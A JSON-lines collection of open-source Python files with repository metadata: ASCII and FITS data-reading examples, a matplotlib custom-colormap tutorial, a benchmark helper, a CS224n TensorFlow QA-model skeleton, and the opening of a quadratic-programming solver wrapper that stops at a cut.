{"text": "#\n#  File:\n#    TRANS_read_ASCII_way2.py\n#\n#  Synopsis:\n#    Illustrates how to read an ASCII file\n#\n#  Categories:\n#    I/O\n#\n#  Author:\n#    Karin Meier-Fleischer, based on NCL example\n#  \n#  Date of initial publication:\n#    September 2018\n#\n#  Description:\n#    This example shows how to read an ASCII file.\n#\n#  Effects illustrated:\n#    o  Read ASCII data\n# \n#  Output:\n#    -\n#\n#  Notes: The data for this example can be downloaded from \n#    http://www.ncl.ucar.edu/Document/Manuals/NCL_User_Guide/Data/\n#   \n\"\"\"\n  Transition Guide Python Example:   TRANS_read_ASCII_way2.py\n\n   - read ASCII file\n   - retrieve variable informations\n\n\tTest_6h.csv\n\t\n\t2.00;3.50;5.10;8.20\n\t2.40;3.10;4.80;8.90\n\t2.60;3.70;5.30;10.10\n\t2.75;3.90;5.55;10.25\n\t3.00;4.10;6.05;10.50\n\n  2018-08-28  kmf\n\"\"\"\nfrom __future__ import print_function\nimport numpy as np\n\nprint(\"\")\n\n#--  data file name\n\ndiri = \"/Users/k204045/local/miniconda2/envs/pyn_env/lib/ncarg/data/nug/\"\nfili = \"Test_6h.csv\"\n\n#-- delimiter\n\ndelim = ';'\n\n#-- read the data\n\nf      = open(diri+fili,'r')\ndata  = f.readlines()\n\n#-- assign list to append elements\n\nvals = []\n\nfor i in data:\n\tline = i.strip()\n\tcols = line.split(delim)\n\tvals.append(cols[:])\n\n#-- convert string to float\n\nvals = np.array(vals).astype(float)\n\nnlines = vals[:,0]\nncols  = vals[0,:]\n\nprint(\"vals: \" + str(vals))\n\n#-- rows by column\n\nprint(\"--> columns count:    \" + str(len(ncols)))\nprint(\"--> lines count:      \" + str(len(nlines)))\nprint(\"--> rank of vals:     \" + str(len(vals.shape)))\nprint(\"--> shape vals:       \" + str(vals.shape))\n\n\nexit()\n", "meta": {"hexsha": "729c5f4d1da1307ed8114a119b3070133967243d", "size": 1571, "ext": "py", "lang": "Python", "max_stars_repo_path": "Transition_examples_NCL_to_PyNGL/read_data/TRANS_read_ASCII_way2.py", "max_stars_repo_name": "1271756664/-xESMF", "max_stars_repo_head_hexsha": "f2341fe5a949050dc9e350fdc8c7d3e3d3d48222", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 54, "max_stars_repo_stars_event_min_datetime": "2015-11-09T13:39:00.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-16T10:31:19.000Z", "max_issues_repo_path": "Transition_examples_NCL_to_PyNGL/read_data/TRANS_read_ASCII_way2.py", "max_issues_repo_name": "wengensheng/PyEarthScience", "max_issues_repo_head_hexsha": "0c5b116a80604c5a892369b975df8b15b9b34717", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Transition_examples_NCL_to_PyNGL/read_data/TRANS_read_ASCII_way2.py", "max_forks_repo_name": "wengensheng/PyEarthScience", "max_forks_repo_head_hexsha": "0c5b116a80604c5a892369b975df8b15b9b34717", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 25, "max_forks_repo_forks_event_min_datetime": "2016-04-11T20:40:40.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-01T14:38:41.000Z", "avg_line_length": 17.2637362637, "max_line_length": 73, "alphanum_fraction": 0.6333545512, "include": true, "reason": "import numpy", "num_tokens": 518, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10521053249464328, "lm_q1q2_score": 0.051372556027367164}}
{"text": "import numpy as np\n\nfrom transonic.util import timeit\nfrom transonic.config import backend_default\n\n\ndef check(functions, arr, columns):\n    res0 = functions[0](arr, columns)\n    for func in functions[1:]:\n        assert np.allclose(res0, func(arr, columns))\n    print(\"Checks passed: results are consistent\")\n\n\ndef bench(functions, arr, columns):\n    print(backend_default.capitalize())\n    for func in functions:\n        result = timeit(\"func(arr, columns)\", globals=locals())\n        print(f\"{func.__name__:20s} {result:.3e} s\")\n    print()\n", "meta": {"hexsha": "9f1e821bef19221460127990dab6e17074ad37da", "size": 544, "ext": "py", "lang": "Python", "max_stars_repo_path": "doc/examples/bench_row_sum/util.py", "max_stars_repo_name": "fluiddyn/transonic", "max_stars_repo_head_hexsha": "a460e9f6d1139f79b668cb3306d1e8a7e190b72d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 88, "max_stars_repo_stars_event_min_datetime": "2019-01-08T16:39:08.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-06T14:19:23.000Z", "max_issues_repo_path": "doc/examples/bench_row_sum/util.py", "max_issues_repo_name": "fluiddyn/transonic", "max_issues_repo_head_hexsha": "a460e9f6d1139f79b668cb3306d1e8a7e190b72d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 13, "max_issues_repo_issues_event_min_datetime": "2019-06-20T15:53:10.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-09T11:03:29.000Z", "max_forks_repo_path": "doc/examples/bench_row_sum/util.py", "max_forks_repo_name": "fluiddyn/transonic", "max_forks_repo_head_hexsha": "a460e9f6d1139f79b668cb3306d1e8a7e190b72d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-11-05T03:03:14.000Z", "max_forks_repo_forks_event_max_datetime": "2019-11-05T03:03:14.000Z", "avg_line_length": 27.2, "max_line_length": 63, "alphanum_fraction": 0.6875, "include": true, "reason": "import numpy", "num_tokens": 132, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10521053249464328, "lm_q1q2_score": 0.051372556027367164}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.5.2\n#   kernelspec:\n#     display_name: Python 3.8.3 64-bit\n#     language: python\n#     name: python38364bit425a2724ae224223ab43e7c3d3663fd5\n# ---\n\n# General references:\n# - [Learn Astropy](http://learn.astropy.org/)\n#     - [FITS File Handling](https://docs.astropy.org/en/stable/io/fits/index.html)\n#     - [Astropy Table](https://docs.astropy.org/en/stable/api/astropy.table.Table.html#astropy.table.Table)\n# - [FITS Standard Page](https://fits.gsfc.nasa.gov/fits_standard.html)\n\n# +\n# Import Astropy Modules for file operation and converting to table\nfrom astropy.io import fits\nfrom astropy.table import Table\n\n# Import custom module for pre-defined data path\nfrom grb.config import path\n# -\n\ndir(fits)\n\ndir(Table)\n\n# One Way to Load the FITS Data\n# =============================\n\n# Open the file\n# -------------\n\nfilename = path.FITS / \"160625/L200408111538F357373F92_PH00.fits\"\nf = fits.open(filename)\n\n# View File Information\n# ---------------------\n\n# + tags=[]\nf.info()\n# -\n\n# Select Needed Data\n# ------------------\n# `PRIMARY` contains general information about the GRB.\n\nheader = f[0].header\nheader\n\n# See [Time in *Fermi* Data Analysis](https://fermi.gsfc.nasa.gov/ssc/data/analysis/documentation/Cicerone/Cicerone_Data/Time_in_ScienceTools.html#:~:text=The%20Fermitools%20use%20mission%20elapsed%20time%20%28MET%29%2C%20the,the%20UTC%20system.%20Time%20Systems%20in%20a%20Nutshell) for help in `MET`.\n\nMETREF = header['MJDREFI'] + header['MJDREFF']\nMETREF\n\n# `EVENTS` contains the (photons or spacecraft) events information\n\ndata = f[1].data\ndata\n\n# Load Data to Astropy Table\n# --------------------------\n\nt = Table(data)\nt\n\n# Close The Opened File\n# ---------------------\n# Always remember to close the opened file.\n\nf.close()\n\n# An Alternative Way to Open A File\n# =================================\n# [`with` statement](https://docs.python.org/3/reference/compound_stmts.html#with) automatically handles open and close of files.\n\n# + tags=[]\nwith fits.open(filename) as f:\n    f.info()\n    data2 = f[1].data\n# -\n\n# Check if the two ways get the same data\n\nimport numpy as np\n\nnp.all(data==data2)\n\n# An Alternative Way to Load FITS data\n# ====================================\n\nt2 = Table.read(filename, hdu=1)\n\nt2\n\n# Check if the two ways get the same data.\n\nnp.all(t==t2)\n\n# Convert Astropy Table to Pandas DataFrame\n# =========================================\n# Sometimes it would be better to deal with Pandas DataFrame instead of Astropy Table.\n#\n# **Note**: Some information, for example, units, will get lost, after the conversion.\n\nt3 = t[['ENERGY', 'TIME']]\ndf = t3.to_pandas()\ndf\n\n# + tags=[]\nprint(f\"{type(df) = },\\n{type(t3) = }\")\n# -\n\n# Application to GBM TTE FITS Files\n# =================================\n\n# + tags=[]\nttefile = path.FITS / \"160625/TTE/glg_tte_b0_bn160625945_v00.fit\"\nwith fits.open(ttefile) as f:\n    f.info()\n    header = f[0].header\nheader\n# -\n\n# Trigger time relative to MJDREF (in second)\n\nTRIGTIME = header['TRIGTIME']\nTRIGTIME\n\n# +\nfrom grb.lat.timeutils import UTCMET\n\ntrigtime = UTCMET.met2utc(TRIGTIME)\ntrigtime\n# -\n\ntrigtime.value\n\ntobs = header['DATE-OBS']\ntobs_met = UTCMET.utc2met(tobs)\ntobs_met\n\ntobs_met.value\n\ndt = trigtime - tobs_met\ndt\n\ndt.value\n\n\n", "meta": {"hexsha": "7576b2139628bf2043535912e2767a86a3700ff2", "size": 3405, "ext": "py", "lang": "Python", "max_stars_repo_path": "demo/fits.py", "max_stars_repo_name": "Memcys/Fermi-GRB-Analysis", "max_stars_repo_head_hexsha": "59f5f8a9de1dadf3e074d92155eabca2382b60dd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-07-15T17:00:00.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-25T06:58:10.000Z", "max_issues_repo_path": "demo/fits.py", "max_issues_repo_name": "Memcys/Fermi-GRB-Analysis", "max_issues_repo_head_hexsha": "59f5f8a9de1dadf3e074d92155eabca2382b60dd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2021-06-08T22:08:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:42:45.000Z", "max_forks_repo_path": "demo/fits.py", "max_forks_repo_name": "Memcys/Fermi-GRB-Analysis", "max_forks_repo_head_hexsha": "59f5f8a9de1dadf3e074d92155eabca2382b60dd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-07-29T06:46:22.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-05T08:26:10.000Z", "avg_line_length": 21.5506329114, "max_line_length": 302, "alphanum_fraction": 0.645814978, "include": true, "reason": "import numpy,from astropy", "num_tokens": 977, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.12252322213041655, "lm_q1q2_score": 0.05130009443030568}}
{"text": "\"\"\"\n=========================================\nCreating a colormap from a list of colors\n=========================================\n\nFor more detail on creating and manipulating colormaps see\n:doc:`/tutorials/colors/colormap-manipulation`.\n\nCreating a :doc:`colormap </tutorials/colors/colormaps>`\nfrom a list of colors can be done with the\n:meth:`~.colors.LinearSegmentedColormap.from_list` method of\n`.LinearSegmentedColormap`. You must pass a list of RGB tuples that define the\nmixture of colors from 0 to 1.\n\n\nCreating custom colormaps\n-------------------------\nIt is also possible to create a custom mapping for a colormap. This is\naccomplished by creating dictionary that specifies how the RGB channels\nchange from one end of the cmap to the other.\n\nExample: suppose you want red to increase from 0 to 1 over the bottom\nhalf, green to do the same over the middle half, and blue over the top\nhalf.  Then you would use::\n\n  cdict = {'red':   ((0.0,  0.0, 0.0),\n                     (0.5,  1.0, 1.0),\n                     (1.0,  1.0, 1.0)),\n\n           'green': ((0.0,  0.0, 0.0),\n                     (0.25, 0.0, 0.0),\n                     (0.75, 1.0, 1.0),\n                     (1.0,  1.0, 1.0)),\n\n           'blue':  ((0.0,  0.0, 0.0),\n                     (0.5,  0.0, 0.0),\n                     (1.0,  1.0, 1.0))}\n\nIf, as in this example, there are no discontinuities in the r, g, and b\ncomponents, then it is quite simple: the second and third element of\neach tuple, above, is the same--call it \"y\".  The first element (\"x\")\ndefines interpolation intervals over the full range of 0 to 1, and it\nmust span that whole range.  In other words, the values of x divide the\n0-to-1 range into a set of segments, and y gives the end-point color\nvalues for each segment.\n\nNow consider the green. cdict['green'] is saying that for\n0 <= x <= 0.25, y is zero; no green.\n0.25 < x <= 0.75, y varies linearly from 0 to 1.\nx > 0.75, y remains at 1, full green.\n\nIf there are discontinuities, then it is a little more complicated.\nLabel the 3 elements in each row in the cdict entry for a given color as\n(x, y0, y1).  Then for values of x between x[i] and x[i+1] the color\nvalue is interpolated between y1[i] and y0[i+1].\n\nGoing back to the cookbook example, look at cdict['red']; because y0 !=\ny1, it is saying that for x from 0 to 0.5, red increases from 0 to 1,\nbut then it jumps down, so that for x from 0.5 to 1, red increases from\n0.7 to 1.  Green ramps from 0 to 1 as x goes from 0 to 0.5, then jumps\nback to 0, and ramps back to 1 as x goes from 0.5 to 1.::\n\n  row i:   x  y0  y1\n                  /\n                 /\n  row i+1: x  y0  y1\n\nAbove is an attempt to show that for x in the range x[i] to x[i+1], the\ninterpolation is between y1[i] and y0[i+1].  So, y0[0] and y1[-1] are\nnever used.\n\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LinearSegmentedColormap\n\n# Make some illustrative fake data:\n\nx = np.arange(0, np.pi, 0.1)\ny = np.arange(0, 2 * np.pi, 0.1)\nX, Y = np.meshgrid(x, y)\nZ = np.cos(X) * np.sin(Y) * 10\n\n\n###############################################################################\n# --- Colormaps from a list ---\n\ncolors = [(1, 0, 0), (0, 1, 0), (0, 0, 1)]  # R -> G -> B\nn_bins = [3, 6, 10, 100]  # Discretizes the interpolation into bins\ncmap_name = 'my_list'\nfig, axs = plt.subplots(2, 2, figsize=(6, 9))\nfig.subplots_adjust(left=0.02, bottom=0.06, right=0.95, top=0.94, wspace=0.05)\nfor n_bin, ax in zip(n_bins, axs.ravel()):\n    # Create the colormap\n    cm = LinearSegmentedColormap.from_list(\n        cmap_name, colors, N=n_bin)\n    # Fewer bins will result in \"coarser\" colomap interpolation\n    im = ax.imshow(Z, interpolation='nearest', origin='lower', cmap=cm)\n    ax.set_title(\"N bins: %s\" % n_bin)\n    fig.colorbar(im, ax=ax)\n\n\n###############################################################################\n# --- Custom colormaps ---\n\ncdict1 = {'red':   ((0.0, 0.0, 0.0),\n                    (0.5, 0.0, 0.1),\n                    (1.0, 1.0, 1.0)),\n\n          'green': ((0.0, 0.0, 0.0),\n                    (1.0, 0.0, 0.0)),\n\n          'blue':  ((0.0, 0.0, 1.0),\n                    (0.5, 0.1, 0.0),\n                    (1.0, 0.0, 0.0))\n          }\n\ncdict2 = {'red':   ((0.0, 0.0, 0.0),\n                    (0.5, 0.0, 1.0),\n                    (1.0, 0.1, 1.0)),\n\n          'green': ((0.0, 0.0, 0.0),\n                    (1.0, 0.0, 0.0)),\n\n          'blue':  ((0.0, 0.0, 0.1),\n                    (0.5, 1.0, 0.0),\n                    (1.0, 0.0, 0.0))\n          }\n\ncdict3 = {'red':  ((0.0, 0.0, 0.0),\n                   (0.25, 0.0, 0.0),\n                   (0.5, 0.8, 1.0),\n                   (0.75, 1.0, 1.0),\n                   (1.0, 0.4, 1.0)),\n\n          'green': ((0.0, 0.0, 0.0),\n                    (0.25, 0.0, 0.0),\n                    (0.5, 0.9, 0.9),\n                    (0.75, 0.0, 0.0),\n                    (1.0, 0.0, 0.0)),\n\n          'blue':  ((0.0, 0.0, 0.4),\n                    (0.25, 1.0, 1.0),\n                    (0.5, 1.0, 0.8),\n                    (0.75, 0.0, 0.0),\n                    (1.0, 0.0, 0.0))\n          }\n\n# Make a modified version of cdict3 with some transparency\n# in the middle of the range.\ncdict4 = {**cdict3,\n          'alpha': ((0.0, 1.0, 1.0),\n                #   (0.25,1.0, 1.0),\n                    (0.5, 0.3, 0.3),\n                #   (0.75,1.0, 1.0),\n                    (1.0, 1.0, 1.0)),\n          }\n\n\n###############################################################################\n# Now we will use this example to illustrate 3 ways of\n# handling custom colormaps.\n# First, the most direct and explicit:\n\nblue_red1 = LinearSegmentedColormap('BlueRed1', cdict1)\n\n###############################################################################\n# Second, create the map explicitly and register it.\n# Like the first method, this method works with any kind\n# of Colormap, not just\n# a LinearSegmentedColormap:\n\nblue_red2 = LinearSegmentedColormap('BlueRed2', cdict2)\nplt.register_cmap(cmap=blue_red2)\n\n###############################################################################\n# Third, for LinearSegmentedColormap only,\n# leave everything to register_cmap:\n\nplt.register_cmap(name='BlueRed3', data=cdict3)  # optional lut kwarg\nplt.register_cmap(name='BlueRedAlpha', data=cdict4)\n\n###############################################################################\n# Make the figure:\n\nfig, axs = plt.subplots(2, 2, figsize=(6, 9))\nfig.subplots_adjust(left=0.02, bottom=0.06, right=0.95, top=0.94, wspace=0.05)\n\n# Make 4 subplots:\n\nim1 = axs[0, 0].imshow(Z, interpolation='nearest', cmap=blue_red1)\nfig.colorbar(im1, ax=axs[0, 0])\n\ncmap = plt.get_cmap('BlueRed2')\nim2 = axs[1, 0].imshow(Z, interpolation='nearest', cmap=cmap)\nfig.colorbar(im2, ax=axs[1, 0])\n\n# Now we will set the third cmap as the default.  One would\n# not normally do this in the middle of a script like this;\n# it is done here just to illustrate the method.\n\nplt.rcParams['image.cmap'] = 'BlueRed3'\n\nim3 = axs[0, 1].imshow(Z, interpolation='nearest')\nfig.colorbar(im3, ax=axs[0, 1])\naxs[0, 1].set_title(\"Alpha = 1\")\n\n# Or as yet another variation, we can replace the rcParams\n# specification *before* the imshow with the following *after*\n# imshow.\n# This sets the new default *and* sets the colormap of the last\n# image-like item plotted via pyplot, if any.\n#\n\n# Draw a line with low zorder so it will be behind the image.\naxs[1, 1].plot([0, 10 * np.pi], [0, 20 * np.pi], color='c', lw=20, zorder=-1)\n\nim4 = axs[1, 1].imshow(Z, interpolation='nearest')\nfig.colorbar(im4, ax=axs[1, 1])\n\n# Here it is: changing the colormap for the current image and its\n# colorbar after they have been plotted.\nim4.set_cmap('BlueRedAlpha')\naxs[1, 1].set_title(\"Varying alpha\")\n#\n\nfig.suptitle('Custom Blue-Red colormaps', fontsize=16)\nfig.subplots_adjust(top=0.9)\n\nplt.show()\n\n#############################################################################\n#\n# ------------\n#\n# References\n# \"\"\"\"\"\"\"\"\"\"\n#\n# The use of the following functions, methods, classes and modules is shown\n# in this example:\n\nimport matplotlib\nmatplotlib.axes.Axes.imshow\nmatplotlib.pyplot.imshow\nmatplotlib.figure.Figure.colorbar\nmatplotlib.pyplot.colorbar\nmatplotlib.colors\nmatplotlib.colors.LinearSegmentedColormap\nmatplotlib.colors.LinearSegmentedColormap.from_list\nmatplotlib.cm\nmatplotlib.cm.ScalarMappable.set_cmap\nmatplotlib.pyplot.register_cmap\nmatplotlib.cm.register_cmap\n", "meta": {"hexsha": "8262331245334ad10d0945df3a82dd0ade6b23f1", "size": 8416, "ext": "py", "lang": "Python", "max_stars_repo_path": "matplotlib/gallery_python/color/custom_cmap.py", "max_stars_repo_name": "gottaegbert/penter", "max_stars_repo_head_hexsha": "8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 13, "max_stars_repo_stars_event_min_datetime": "2020-01-04T07:37:38.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-31T05:19:58.000Z", "max_issues_repo_path": "matplotlib/gallery_python/color/custom_cmap.py", "max_issues_repo_name": "gottaegbert/penter", "max_issues_repo_head_hexsha": "8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2020-06-05T22:42:53.000Z", "max_issues_repo_issues_event_max_datetime": "2020-08-24T07:18:54.000Z", "max_forks_repo_path": "matplotlib/gallery_python/color/custom_cmap.py", "max_forks_repo_name": "gottaegbert/penter", "max_forks_repo_head_hexsha": "8cbb6be3c4bf67c7c69fa70e597bfbc3be4f0a2d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2020-10-19T04:53:06.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-31T05:20:01.000Z", "avg_line_length": 33.1338582677, "max_line_length": 79, "alphanum_fraction": 0.5513307985, "include": true, "reason": "import numpy", "num_tokens": 2623, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4186968948485237, "lm_q2_score": 0.12252321412020203, "lm_q1q2_score": 0.05130008929898938}}
{"text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport time\nimport logging\n\nimport numpy as np\nfrom six.moves import xrange  # pylint: disable=redefined-builtin\nimport tensorflow as tf\nfrom tensorflow.python.ops import variable_scope as vs\n\nfrom evaluate import exact_match_score, f1_score\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef get_optimizer(opt):\n    if opt == \"adam\":\n        optfn = tf.train.AdamOptimizer\n    elif opt == \"sgd\":\n        optfn = tf.train.GradientDescentOptimizer\n    else:\n        assert (False)\n    return optfn\n\n\nclass Encoder(object):\n    def __init__(self, size, vocab_dim):\n        self.size = size\n        self.vocab_dim = vocab_dim\n\n    def encode(self, inputs, masks, encoder_state_input):\n        \"\"\"\n        In a generalized encode function, you pass in your inputs,\n        masks, and an initial\n        hidden state input into this function.\n\n        :param inputs: Symbolic representations of your input\n        :param masks: this is to make sure tf.nn.dynamic_rnn doesn't iterate\n                      through masked steps\n        :param encoder_state_input: (Optional) pass this as initial hidden state\n                                    to tf.nn.dynamic_rnn to build conditional representations\n        :return: an encoded representation of your input.\n                 It can be context-level representation, word-level representation,\n                 or both.\n        \"\"\"\n\n        return\n\n\nclass Decoder(object):\n    def __init__(self, output_size):\n        self.output_size = output_size\n\n    def decode(self, knowledge_rep):\n        \"\"\"\n        takes in a knowledge representation\n        and output a probability estimation over\n        all paragraph tokens on which token should be\n        the start of the answer span, and which should be\n        the end of the answer span.\n\n        :param knowledge_rep: it is a representation of the paragraph and question,\n                              decided by how you choose to implement the encoder\n        :return:\n        \"\"\"\n\n        return\n\nclass QASystem(object):\n    def __init__(self, encoder, decoder, *args):\n        \"\"\"\n        Initializes your System\n\n        :param encoder: an encoder that you constructed in train.py\n        :param decoder: a decoder that you constructed in train.py\n        :param args: pass in more arguments as needed\n        \"\"\"\n\n        # ==== set up placeholder tokens ========\n\n\n        # ==== assemble pieces ====\n        with tf.variable_scope(\"qa\", initializer=tf.uniform_unit_scaling_initializer(1.0)):\n            self.setup_embeddings()\n            self.setup_system()\n            self.setup_loss()\n\n        # ==== set up training/updating procedure ====\n        pass\n\n\n    def setup_system(self):\n        \"\"\"\n        After your modularized implementation of encoder and decoder\n        you should call various functions inside encoder, decoder here\n        to assemble your reading comprehension system!\n        :return:\n        \"\"\"\n        raise NotImplementedError(\"Connect all parts of your system here!\")\n\n\n    def setup_loss(self):\n        \"\"\"\n        Set up your loss computation here\n        :return:\n        \"\"\"\n        with vs.variable_scope(\"loss\"):\n            pass\n\n    def setup_embeddings(self):\n        \"\"\"\n        Loads distributed word representations based on placeholder tokens\n        :return:\n        \"\"\"\n        with vs.variable_scope(\"embeddings\"):\n            pass\n\n    def optimize(self, session, train_x, train_y):\n        \"\"\"\n        Takes in actual data to optimize your model\n        This method is equivalent to a step() function\n        :return:\n        \"\"\"\n        input_feed = {}\n\n        # fill in this feed_dictionary like:\n        # input_feed['train_x'] = train_x\n\n        output_feed = []\n\n        outputs = session.run(output_feed, input_feed)\n\n        return outputs\n\n    def test(self, session, valid_x, valid_y):\n        \"\"\"\n        in here you should compute a cost for your validation set\n        and tune your hyperparameters according to the validation set performance\n        :return:\n        \"\"\"\n        input_feed = {}\n\n        # fill in this feed_dictionary like:\n        # input_feed['valid_x'] = valid_x\n\n        output_feed = []\n\n        outputs = session.run(output_feed, input_feed)\n\n        return outputs\n\n    def decode(self, session, test_x):\n        \"\"\"\n        Returns the probability distribution over different positions in the paragraph\n        so that other methods like self.answer() will be able to work properly\n        :return:\n        \"\"\"\n        input_feed = {}\n\n        # fill in this feed_dictionary like:\n        # input_feed['test_x'] = test_x\n\n        output_feed = []\n\n        outputs = session.run(output_feed, input_feed)\n\n        return outputs\n\n    def answer(self, session, test_x):\n\n        yp, yp2 = self.decode(session, test_x)\n\n        a_s = np.argmax(yp, axis=1)\n        a_e = np.argmax(yp2, axis=1)\n\n        return (a_s, a_e)\n\n    def validate(self, sess, valid_dataset):\n        \"\"\"\n        Iterate through the validation dataset and determine what\n        the validation cost is.\n\n        This method calls self.test() which explicitly calculates validation cost.\n\n        How you implement this function is dependent on how you design\n        your data iteration function\n\n        :return:\n        \"\"\"\n        valid_cost = 0\n\n        for valid_x, valid_y in valid_dataset:\n          valid_cost = self.test(sess, valid_x, valid_y)\n\n\n        return valid_cost\n\n    def evaluate_answer(self, session, dataset, sample=100, log=False):\n        \"\"\"\n        Evaluate the model's performance using the harmonic mean of F1 and Exact Match (EM)\n        with the set of true answer labels\n\n        This step actually takes quite some time. So we can only sample 100 examples\n        from either training or testing set.\n\n        :param session: session should always be centrally managed in train.py\n        :param dataset: a representation of our data, in some implementations, you can\n                        pass in multiple components (arguments) of one dataset to this function\n        :param sample: how many examples in dataset we look at\n        :param log: whether we print to std out stream\n        :return:\n        \"\"\"\n\n        f1 = 0.\n        em = 0.\n\n        if log:\n            logging.info(\"F1: {}, EM: {}, for {} samples\".format(f1, em, sample))\n\n        return f1, em\n\n    def train(self, session, dataset, train_dir):\n        \"\"\"\n        Implement main training loop\n\n        TIPS:\n        You should also implement learning rate annealing (look into tf.train.exponential_decay)\n        Considering the long time to train, you should save your model per epoch.\n\n        More ambitious appoarch can include implement early stopping, or reload\n        previous models if they have higher performance than the current one\n\n        As suggested in the document, you should evaluate your training progress by\n        printing out information every fixed number of iterations.\n\n        We recommend you evaluate your model performance on F1 and EM instead of just\n        looking at the cost.\n\n        :param session: it should be passed in from train.py\n        :param dataset: a representation of our data, in some implementations, you can\n                        pass in multiple components (arguments) of one dataset to this function\n        :param train_dir: path to the directory where you should save the model checkpoint\n        :return:\n        \"\"\"\n\n        # some free code to print out number of parameters in your model\n        # it's always good to check!\n        # you will also want to save your model parameters in train_dir\n        # so that you can use your trained model to make predictions, or\n        # even continue training\n\n        tic = time.time()\n        params = tf.trainable_variables()\n        num_params = sum(map(lambda t: np.prod(tf.shape(t.value()).eval()), params))\n        toc = time.time()\n        logging.info(\"Number of params: %d (retreival took %f secs)\" % (num_params, toc - tic))\n", "meta": {"hexsha": "422380075d0dd39b8105e896ae8fe9b129875f31", "size": 8117, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignments/assignment4/qa_model.py", "max_stars_repo_name": "dailysoap/cs224n", "max_stars_repo_head_hexsha": "8b1deaf82f450e4e1ad60cb35ae43765c682e115", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 10, "max_stars_repo_stars_event_min_datetime": "2018-12-02T07:20:16.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-29T12:15:09.000Z", "max_issues_repo_path": "assignments/assignment4/qa_model.py", "max_issues_repo_name": "dailysoap/cs224n", "max_issues_repo_head_hexsha": "8b1deaf82f450e4e1ad60cb35ae43765c682e115", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignments/assignment4/qa_model.py", "max_forks_repo_name": "dailysoap/cs224n", "max_forks_repo_head_hexsha": "8b1deaf82f450e4e1ad60cb35ae43765c682e115", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-03-16T06:28:36.000Z", "max_forks_repo_forks_event_max_datetime": "2020-05-12T08:26:57.000Z", "avg_line_length": 31.3397683398, "max_line_length": 96, "alphanum_fraction": 0.629789331, "include": true, "reason": "import numpy", "num_tokens": 1647, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4073334000459303, "lm_q2_score": 0.12592275499444552, "lm_q1q2_score": 0.05129254393503815}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Provide a wrapper around quadratic programming solvers.\n\nReferences:\n    [1] https://github.com/stephane-caron/qpsolvers\n\"\"\"\n\nimport numpy as np\n\n# CVXOPT\n# import cvxopt\n# CVXPY: nice wrapper around cvxopt\n# import cvxpy\n# Quadprog\n# import quadprog\n\n# QPsolvers optimizers: unified Python interface for multiple QP solvers (cvxopt, cvxpy, quadprog,...)\ntry:\n    import qpsolvers\nexcept ImportError as e:\n    raise ImportError(e.__str__() + \"\\n HINT: you can install qpsolvers directly via 'pip install qpsolvers'.\")\n\nfrom pyrobolearn.optimizers import Optimizer\n\n\n__author__ = \"Brian Delhaisse\"\n__copyright__ = \"Copyright 2018, PyRoboLearn\"\n__credits__ = [\"Brian Delhaisse\"]\n__license__ = \"GNU GPLv3\"\n__version__ = \"1.0.0\"\n__maintainer__ = \"Brian Delhaisse\"\n__email__ = \"briandelhaisse@gmail.com\"\n__status__ = \"Development\"\n\n\n# class CVXOPT(Optimizer):\n#     r\"\"\"Convex Optimizer\n#\n#     Note: cvxpy module is a nice wrapper around cvxopt that follows paradigm of a disciplined convex programming.\n#\n#     References:\n#         [1] Python Software for Convex Optimization: https://cvxopt.org/\n#         [2] Github repo: https://github.com/cvxopt/cvxopt\n#     \"\"\"\n#     pass\n#\n#\n# class CVXPY(Optimizer):\n#     r\"\"\"Convex Optimizer\n#\n#     References:\n#         [1] CVXPY: 